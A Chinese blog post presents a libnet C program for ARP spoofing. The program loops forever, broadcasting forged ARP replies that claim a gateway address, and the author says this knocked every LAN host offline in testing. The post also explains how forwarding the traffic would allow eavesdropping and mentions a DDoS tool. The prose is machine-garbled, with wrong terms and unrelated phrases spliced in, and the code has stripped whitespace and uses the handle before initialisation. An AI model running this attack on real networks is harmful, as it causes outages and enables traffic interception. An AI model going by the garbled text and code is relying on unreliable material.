这篇文章主要介绍了Linux使用libnet实现ARP功击脚本剖析,你们可以参考防治这样的功击
闲来无事,用libnet写了个简单的ARP功击。原先觉得ARP功击不是非常常见,不过近来工作中倒是遇见过两次ARP误导的风波。虽然ARP误导的原理灰常简单滴,大部份都是在局域网中发送伪造的ARP广播包,广播包的目的是干嘛呢?很简单,误导外网的所有主机,告诉被害主机,“我”是网段。外网机器接收到这些广播包以后,会刷新自己ARP缓存表,把网段的IP和广播包中的源MAC绑定。这样功击机器就达到了假冒网段的目的。
先前一所学院就是被ARP误导功击linux 发送arp广播包,她们的中学主页一打开都会跳出其他好多乱七八糟的页面,,,,当时查看她们WEB服务器的源代码,发觉没有被插入那些会弹页面的代码,并且用浏览器内网访问的时侯,这种代码就出现了linux 发送arp广播包,很显著网站的返回的顾客端数据在途中被绑架更改了(插入了一些代码)。
下边实现的就比较简单了,只做误导linux操作系统论文,不做转发,造成的后果就是局域网所有主机会断网。测试了一下,外网主机会未能上网,安了360ARP防护的会报案,能上网,就是网速有点慢,而且辨识出了的功击主机似乎不确切,试了几次都辨识成正常的笔记本在功击,不晓得360这个辨识是不是通过源MAC地址辨识还是怎样辨识。
复制代码代码如下:
#include"arp.h"
intmain(intargc,char**argv){
libnet_t*l;
inti,packet_size;//发送的数据包的宽度
libnet_ptag_tarp_tag,ether_tag;
char*device="eth0";
charerr_buf[LIBNET_ERRBUF_SIZE];
char*destion_ip_str="255.255.255.255";
char*source_ip_str="192.168.1.1";
u_charsource_hardware[6]={0x00,0x0c,0x29,0x68,0x95,0x84};
u_chardestion_hardware[6]={0xff,0xff,0xff,0xff,0xff,0xff};
u_int32_tsource_ip,destion_ip;
//将字符方式ip转换为网路字节序
source_ip=libnet_name2addr4(l,source_ip_str,LIBNET_RESOLVE);
destion_ip=libnet_name2addr4(l,destion_ip_str,LIBNET_RESOLVE);
//初始化libnet句柄
l=libnet_init(LIBNET_LINK,device,err_buf);
if(l==NULL){
printf("初始化libnet句柄失败:%sn",err_buf);
exit(-1);
}
arp_tag=libnet_build_arp(
ARPHRD_ETHER,//硬件地址类型,此处为以太网类型
ETHERTYPE_IP,//合同地址类型
6,
4,
ARPOP_REPLY,//ARP应答
source_hardware,
(u_int8_t*)&source_ip,
destion_hardware,
(u_int8_t*)&destion_ip,
NULL,//无负载
0,//负载宽度为0
l,
0//合同块标记,为0,表示新建合同块
);
ether_tag=libnet_build_ethernet(
(u_int8_t*)&destion_hardware,
(u_int8_t*)&source_hardware,
ETHERTYPE_ARP,
NULL,
0,
l,
0
);
i=0;
while(1){
packet_size=libnet_write(l);//发送构造的ARP数据包
usleep(10);
i++;
}
printf("数据包厚度为:%dn",packet_size);
libnet_destroy(l);
return0;
}
目标MAC为广播地址linux设置环境变量,全0xff就行,源MAC地址可以为本机MAC或则随意伪造的MAC(在程序中获取本机MAC可用ioctl函数,近来在写DDOS功击程序就是用ioctl获取本机MAC和IP的),注意ARP包类型为ARPOP_REPLY(应答包)。
若果不想弄断网,只进行愚弄的话,数据发送过来以后,要进行转发到正确的网段,这样就保证外网网路正常,但是所有数据都被窃听了